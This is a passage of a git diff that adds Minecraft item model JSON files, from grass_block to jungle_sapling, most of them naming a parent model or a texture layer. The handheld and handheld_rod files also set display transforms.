b/src/assets/minecraft/models/item/grass_block.json new file mode 100644 index 00000000..f54d345a --- /dev/null +++ b/src/assets/minecraft/models/item/grass_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/grass_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/grass_path.json b/src/assets/minecraft/models/item/grass_path.json new file mode 100644 index 00000000..4cfe8521 --- /dev/null +++ b/src/assets/minecraft/models/item/grass_path.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/grass_path" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gravel.json b/src/assets/minecraft/models/item/gravel.json new file mode 100644 index 00000000..ee8cbc03 --- /dev/null +++ b/src/assets/minecraft/models/item/gravel.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gravel" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_banner.json b/src/assets/minecraft/models/item/gray_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/gray_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_bed.json b/src/assets/minecraft/models/item/gray_bed.json new file mode 100644 index 00000000..30667054 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/gray_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_carpet.json b/src/assets/minecraft/models/item/gray_carpet.json new file mode 100644 index 00000000..5fe85f09 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gray_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_concrete.json b/src/assets/minecraft/models/item/gray_concrete.json new file mode 100644 index 00000000..9b89dd7b --- /dev/null +++ b/src/assets/minecraft/models/item/gray_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gray_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_concrete_powder.json b/src/assets/minecraft/models/item/gray_concrete_powder.json new file mode 100644 index 00000000..47d3dd50 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gray_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_dye.json b/src/assets/minecraft/models/item/gray_dye.json new file mode 100644 index 00000000..f3c30106 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/gray_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_glazed_terracotta.json b/src/assets/minecraft/models/item/gray_glazed_terracotta.json new file mode 100644 index 00000000..d58bce8a --- /dev/null +++ b/src/assets/minecraft/models/item/gray_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gray_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_shulker_box.json b/src/assets/minecraft/models/item/gray_shulker_box.json new file mode 100644 index 00000000..c7043493 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/gray_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_stained_glass.json b/src/assets/minecraft/models/item/gray_stained_glass.json new file mode 100644 index 00000000..34c0fa6c --- /dev/null +++ b/src/assets/minecraft/models/item/gray_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gray_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_stained_glass_pane.json b/src/assets/minecraft/models/item/gray_stained_glass_pane.json new file mode 100644 index 00000000..e2b88aa7 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/gray_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_terracotta.json b/src/assets/minecraft/models/item/gray_terracotta.json new file mode 100644 index 00000000..6c415c03 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gray_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gray_wool.json b/src/assets/minecraft/models/item/gray_wool.json new file mode 100644 index 00000000..88c930a6 --- /dev/null +++ b/src/assets/minecraft/models/item/gray_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/gray_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_banner.json b/src/assets/minecraft/models/item/green_banner.json new file mode 100644 index 00000000..661a106d --- /dev/null +++ b/src/assets/minecraft/models/item/green_banner.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_banner" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_bed.json b/src/assets/minecraft/models/item/green_bed.json new file mode 100644 index 00000000..d7c7154a --- /dev/null +++ b/src/assets/minecraft/models/item/green_bed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_bed", + "textures": { + "particle": "minecraft:block/green_wool" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_carpet.json b/src/assets/minecraft/models/item/green_carpet.json new file mode 100644 index 00000000..772c294f --- /dev/null +++ b/src/assets/minecraft/models/item/green_carpet.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/green_carpet" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_concrete.json b/src/assets/minecraft/models/item/green_concrete.json new file mode 100644 index 00000000..0e3b0f95 --- /dev/null +++ b/src/assets/minecraft/models/item/green_concrete.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/green_concrete" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_concrete_powder.json b/src/assets/minecraft/models/item/green_concrete_powder.json new file mode 100644 index 00000000..4c9c70f0 --- /dev/null +++ b/src/assets/minecraft/models/item/green_concrete_powder.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/green_concrete_powder" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_dye.json b/src/assets/minecraft/models/item/green_dye.json new file mode 100644 index 00000000..2ded932e --- /dev/null +++ b/src/assets/minecraft/models/item/green_dye.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/green_dye" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_glazed_terracotta.json b/src/assets/minecraft/models/item/green_glazed_terracotta.json new file mode 100644 index 00000000..68333f84 --- /dev/null +++ b/src/assets/minecraft/models/item/green_glazed_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/green_glazed_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_shulker_box.json b/src/assets/minecraft/models/item/green_shulker_box.json new file mode 100644 index 00000000..6e8e01e7 --- /dev/null +++ b/src/assets/minecraft/models/item/green_shulker_box.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/template_shulker_box", + "textures": { + "particle": "minecraft:block/green_shulker_box" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_stained_glass.json b/src/assets/minecraft/models/item/green_stained_glass.json new file mode 100644 index 00000000..e10e37a8 --- /dev/null +++ b/src/assets/minecraft/models/item/green_stained_glass.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/green_stained_glass" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_stained_glass_pane.json b/src/assets/minecraft/models/item/green_stained_glass_pane.json new file mode 100644 index 00000000..ff4a30f7 --- /dev/null +++ b/src/assets/minecraft/models/item/green_stained_glass_pane.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/green_stained_glass" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_terracotta.json b/src/assets/minecraft/models/item/green_terracotta.json new file mode 100644 index 00000000..bf20f272 --- /dev/null +++ b/src/assets/minecraft/models/item/green_terracotta.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/green_terracotta" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/green_wool.json b/src/assets/minecraft/models/item/green_wool.json new file mode 100644 index 00000000..a8cfdf47 --- /dev/null +++ b/src/assets/minecraft/models/item/green_wool.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/green_wool" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/grindstone.json b/src/assets/minecraft/models/item/grindstone.json new file mode 100644 index 00000000..2faa8ae8 --- /dev/null +++ b/src/assets/minecraft/models/item/grindstone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/grindstone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/guardian_spawn_egg.json b/src/assets/minecraft/models/item/guardian_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/guardian_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/gunpowder.json b/src/assets/minecraft/models/item/gunpowder.json new file mode 100644 index 00000000..82faa64c --- /dev/null +++ b/src/assets/minecraft/models/item/gunpowder.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/gunpowder" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/handheld.json b/src/assets/minecraft/models/item/handheld.json new file mode 100644 index 00000000..51ea90fc --- /dev/null +++ b/src/assets/minecraft/models/item/handheld.json @@ -0,0 +1,25 @@ +{ + "parent": "item/generated", + "display": { + "thirdperson_righthand": { + "rotation": [ 0, -90, 55 ], + "translation": [ 0, 4.0, 0.5 ], + "scale": [ 0.85, 0.85, 0.85 ] + }, + "thirdperson_lefthand": { + "rotation": [ 0, 90, -55 ], + "translation": [ 0, 4.0, 0.5 ], + "scale": [ 0.85, 0.85, 0.85 ] + }, + "firstperson_righthand": { + "rotation": [ 0, -90, 25 ], + "translation": [ 1.13, 3.2, 1.13 ], + "scale": [ 0.68, 0.68, 0.68 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, 90, -25 ], + "translation": [ 1.13, 3.2, 1.13 ], + "scale": [ 0.68, 0.68, 0.68 ] + } + } +} diff --git a/src/assets/minecraft/models/item/handheld_rod.json b/src/assets/minecraft/models/item/handheld_rod.json new file mode 100644 index 00000000..de794a4a --- /dev/null +++ b/src/assets/minecraft/models/item/handheld_rod.json @@ -0,0 +1,25 @@ +{ + "parent": "item/handheld", + "display": { + "thirdperson_righthand": { + "rotation": [ 0, 90, 55 ], + "translation": [ 0, 4.0, 2.5 ], + "scale": [ 0.85, 0.85, 0.85 ] + }, + "thirdperson_lefthand": { + "rotation": [ 0, -90, -55 ], + "translation": [ 0, 4.0, 2.5 ], + "scale": [ 0.85, 0.85, 0.85 ] + }, + "firstperson_righthand": { + "rotation": [ 0, 90, 25 ], + "translation": [ 0, 1.6, 0.8 ], + "scale": [ 0.68, 0.68, 0.68 ] + }, + "firstperson_lefthand": { + "rotation": [ 0, -90, -25 ], + "translation": [ 0, 1.6, 0.8 ], + "scale": [ 0.68, 0.68, 0.68 ] + } + } +} diff --git a/src/assets/minecraft/models/item/hay_block.json b/src/assets/minecraft/models/item/hay_block.json new file mode 100644 index 00000000..6c92e25d --- /dev/null +++ b/src/assets/minecraft/models/item/hay_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/hay_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/heart_of_the_sea.json b/src/assets/minecraft/models/item/heart_of_the_sea.json new file mode 100644 index 00000000..eb299204 --- /dev/null +++ b/src/assets/minecraft/models/item/heart_of_the_sea.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/heart_of_the_sea" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/heavy_weighted_pressure_plate.json b/src/assets/minecraft/models/item/heavy_weighted_pressure_plate.json new file mode 100644 index 00000000..ef384772 --- /dev/null +++ b/src/assets/minecraft/models/item/heavy_weighted_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/heavy_weighted_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/hoglin_spawn_egg.json b/src/assets/minecraft/models/item/hoglin_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/hoglin_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/honey_block.json b/src/assets/minecraft/models/item/honey_block.json new file mode 100644 index 00000000..29818ade --- /dev/null +++ b/src/assets/minecraft/models/item/honey_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/honey_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/honey_bottle.json b/src/assets/minecraft/models/item/honey_bottle.json new file mode 100644 index 00000000..2a69e5f9 --- /dev/null +++ b/src/assets/minecraft/models/item/honey_bottle.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/honey_bottle" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/honeycomb.json b/src/assets/minecraft/models/item/honeycomb.json new file mode 100644 index 00000000..b183a8ec --- /dev/null +++ b/src/assets/minecraft/models/item/honeycomb.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/honeycomb" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/honeycomb_block.json b/src/assets/minecraft/models/item/honeycomb_block.json new file mode 100644 index 00000000..0a2c9541 --- /dev/null +++ b/src/assets/minecraft/models/item/honeycomb_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/honeycomb_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/hopper.json b/src/assets/minecraft/models/item/hopper.json new file mode 100644 index 00000000..b9e54880 --- /dev/null +++ b/src/assets/minecraft/models/item/hopper.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/hopper" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/hopper_minecart.json b/src/assets/minecraft/models/item/hopper_minecart.json new file mode 100644 index 00000000..8bf45607 --- /dev/null +++ b/src/assets/minecraft/models/item/hopper_minecart.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/hopper_minecart" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/horn_coral.json b/src/assets/minecraft/models/item/horn_coral.json new file mode 100644 index 00000000..5994465f --- /dev/null +++ b/src/assets/minecraft/models/item/horn_coral.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/horn_coral" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/horn_coral_block.json b/src/assets/minecraft/models/item/horn_coral_block.json new file mode 100644 index 00000000..ba702d24 --- /dev/null +++ b/src/assets/minecraft/models/item/horn_coral_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/horn_coral_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/horn_coral_fan.json b/src/assets/minecraft/models/item/horn_coral_fan.json new file mode 100644 index 00000000..e2078bf4 --- /dev/null +++ b/src/assets/minecraft/models/item/horn_coral_fan.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/horn_coral_fan" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/horse_spawn_egg.json b/src/assets/minecraft/models/item/horse_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/horse_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/husk_spawn_egg.json b/src/assets/minecraft/models/item/husk_spawn_egg.json new file mode 100644 index 00000000..d1aaa9d6 --- /dev/null +++ b/src/assets/minecraft/models/item/husk_spawn_egg.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:item/template_spawn_egg" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ice.json b/src/assets/minecraft/models/item/ice.json new file mode 100644 index 00000000..1ec90d77 --- /dev/null +++ b/src/assets/minecraft/models/item/ice.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/ice" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/infested_chiseled_stone_bricks.json b/src/assets/minecraft/models/item/infested_chiseled_stone_bricks.json new file mode 100644 index 00000000..ac7e5e66 --- /dev/null +++ b/src/assets/minecraft/models/item/infested_chiseled_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/chiseled_stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/infested_cobblestone.json b/src/assets/minecraft/models/item/infested_cobblestone.json new file mode 100644 index 00000000..35e828df --- /dev/null +++ b/src/assets/minecraft/models/item/infested_cobblestone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cobblestone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/infested_cracked_stone_bricks.json b/src/assets/minecraft/models/item/infested_cracked_stone_bricks.json new file mode 100644 index 00000000..46802074 --- /dev/null +++ b/src/assets/minecraft/models/item/infested_cracked_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/cracked_stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/infested_mossy_stone_bricks.json b/src/assets/minecraft/models/item/infested_mossy_stone_bricks.json new file mode 100644 index 00000000..a9fe750f --- /dev/null +++ b/src/assets/minecraft/models/item/infested_mossy_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/mossy_stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/infested_stone.json b/src/assets/minecraft/models/item/infested_stone.json new file mode 100644 index 00000000..37f27f10 --- /dev/null +++ b/src/assets/minecraft/models/item/infested_stone.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/infested_stone_bricks.json b/src/assets/minecraft/models/item/infested_stone_bricks.json new file mode 100644 index 00000000..51de871c --- /dev/null +++ b/src/assets/minecraft/models/item/infested_stone_bricks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/stone_bricks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/ink_sac.json b/src/assets/minecraft/models/item/ink_sac.json new file mode 100644 index 00000000..4e528dcd --- /dev/null +++ b/src/assets/minecraft/models/item/ink_sac.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/ink_sac" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_axe.json b/src/assets/minecraft/models/item/iron_axe.json new file mode 100644 index 00000000..6ddc5491 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_axe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/iron_axe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_bars.json b/src/assets/minecraft/models/item/iron_bars.json new file mode 100644 index 00000000..97aa41fc --- /dev/null +++ b/src/assets/minecraft/models/item/iron_bars.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:block/iron_bars" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_block.json b/src/assets/minecraft/models/item/iron_block.json new file mode 100644 index 00000000..acac52ca --- /dev/null +++ b/src/assets/minecraft/models/item/iron_block.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/iron_block" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_boots.json b/src/assets/minecraft/models/item/iron_boots.json new file mode 100644 index 00000000..ee127da2 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_boots.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_boots" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_chestplate.json b/src/assets/minecraft/models/item/iron_chestplate.json new file mode 100644 index 00000000..2c52d1bd --- /dev/null +++ b/src/assets/minecraft/models/item/iron_chestplate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_chestplate" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_door.json b/src/assets/minecraft/models/item/iron_door.json new file mode 100644 index 00000000..a057f8f8 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_helmet.json b/src/assets/minecraft/models/item/iron_helmet.json new file mode 100644 index 00000000..8203b8a5 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_helmet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_helmet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_hoe.json b/src/assets/minecraft/models/item/iron_hoe.json new file mode 100644 index 00000000..889dd3a3 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_hoe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/iron_hoe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_horse_armor.json b/src/assets/minecraft/models/item/iron_horse_armor.json new file mode 100644 index 00000000..3a560516 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_horse_armor.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_horse_armor" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_ingot.json b/src/assets/minecraft/models/item/iron_ingot.json new file mode 100644 index 00000000..1fc74dfc --- /dev/null +++ b/src/assets/minecraft/models/item/iron_ingot.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_ingot" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_leggings.json b/src/assets/minecraft/models/item/iron_leggings.json new file mode 100644 index 00000000..324b71c1 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_leggings.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_leggings" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_nugget.json b/src/assets/minecraft/models/item/iron_nugget.json new file mode 100644 index 00000000..3873a52a --- /dev/null +++ b/src/assets/minecraft/models/item/iron_nugget.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/iron_nugget" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_ore.json b/src/assets/minecraft/models/item/iron_ore.json new file mode 100644 index 00000000..5a356139 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_ore.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/iron_ore" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_pickaxe.json b/src/assets/minecraft/models/item/iron_pickaxe.json new file mode 100644 index 00000000..8a5f4079 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_pickaxe.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/iron_pickaxe" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_shovel.json b/src/assets/minecraft/models/item/iron_shovel.json new file mode 100644 index 00000000..26674cfb --- /dev/null +++ b/src/assets/minecraft/models/item/iron_shovel.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/iron_shovel" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_sword.json b/src/assets/minecraft/models/item/iron_sword.json new file mode 100644 index 00000000..ebbcd411 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_sword.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/handheld", + "textures": { + "layer0": "minecraft:item/iron_sword" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/iron_trapdoor.json b/src/assets/minecraft/models/item/iron_trapdoor.json new file mode 100644 index 00000000..b3a30b76 --- /dev/null +++ b/src/assets/minecraft/models/item/iron_trapdoor.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/iron_trapdoor_bottom" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/item_frame.json b/src/assets/minecraft/models/item/item_frame.json new file mode 100644 index 00000000..09797547 --- /dev/null +++ b/src/assets/minecraft/models/item/item_frame.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/item_frame" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jack_o_lantern.json b/src/assets/minecraft/models/item/jack_o_lantern.json new file mode 100644 index 00000000..d2307203 --- /dev/null +++ b/src/assets/minecraft/models/item/jack_o_lantern.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jack_o_lantern" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jigsaw.json b/src/assets/minecraft/models/item/jigsaw.json new file mode 100644 index 00000000..b0c47630 --- /dev/null +++ b/src/assets/minecraft/models/item/jigsaw.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jigsaw" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jukebox.json b/src/assets/minecraft/models/item/jukebox.json new file mode 100644 index 00000000..4d2923ac --- /dev/null +++ b/src/assets/minecraft/models/item/jukebox.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jukebox" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_boat.json b/src/assets/minecraft/models/item/jungle_boat.json new file mode 100644 index 00000000..4cc14d5c --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_boat.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/jungle_boat" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_button.json b/src/assets/minecraft/models/item/jungle_button.json new file mode 100644 index 00000000..360738a3 --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_button.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_button_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_door.json b/src/assets/minecraft/models/item/jungle_door.json new file mode 100644 index 00000000..2fbc71f5 --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_door.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:item/generated", + "textures": { + "layer0": "minecraft:item/jungle_door" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_fence.json b/src/assets/minecraft/models/item/jungle_fence.json new file mode 100644 index 00000000..c5e6b2aa --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_fence.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_fence_inventory" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_fence_gate.json b/src/assets/minecraft/models/item/jungle_fence_gate.json new file mode 100644 index 00000000..8612c91d --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_fence_gate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_fence_gate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_leaves.json b/src/assets/minecraft/models/item/jungle_leaves.json new file mode 100644 index 00000000..4be7c1ad --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_leaves.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_leaves" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_log.json b/src/assets/minecraft/models/item/jungle_log.json new file mode 100644 index 00000000..2e6c371b --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_log.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_log" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_planks.json b/src/assets/minecraft/models/item/jungle_planks.json new file mode 100644 index 00000000..03f6926a --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_planks.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_planks" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_pressure_plate.json b/src/assets/minecraft/models/item/jungle_pressure_plate.json new file mode 100644 index 00000000..18a6d0f5 --- /dev/null +++ b/src/assets/minecraft/models/item/jungle_pressure_plate.json @@ -0,0 +1,3 @@ +{ + "parent": "minecraft:block/jungle_pressure_plate" +} \ No newline at end of file diff --git a/src/assets/minecraft/models/item/jungle_sapling.json b/src/assets/minecraft/models/item/jungle_sapling.json new file mode 100644 index 00000000..4dd71de2 --- /dev/null 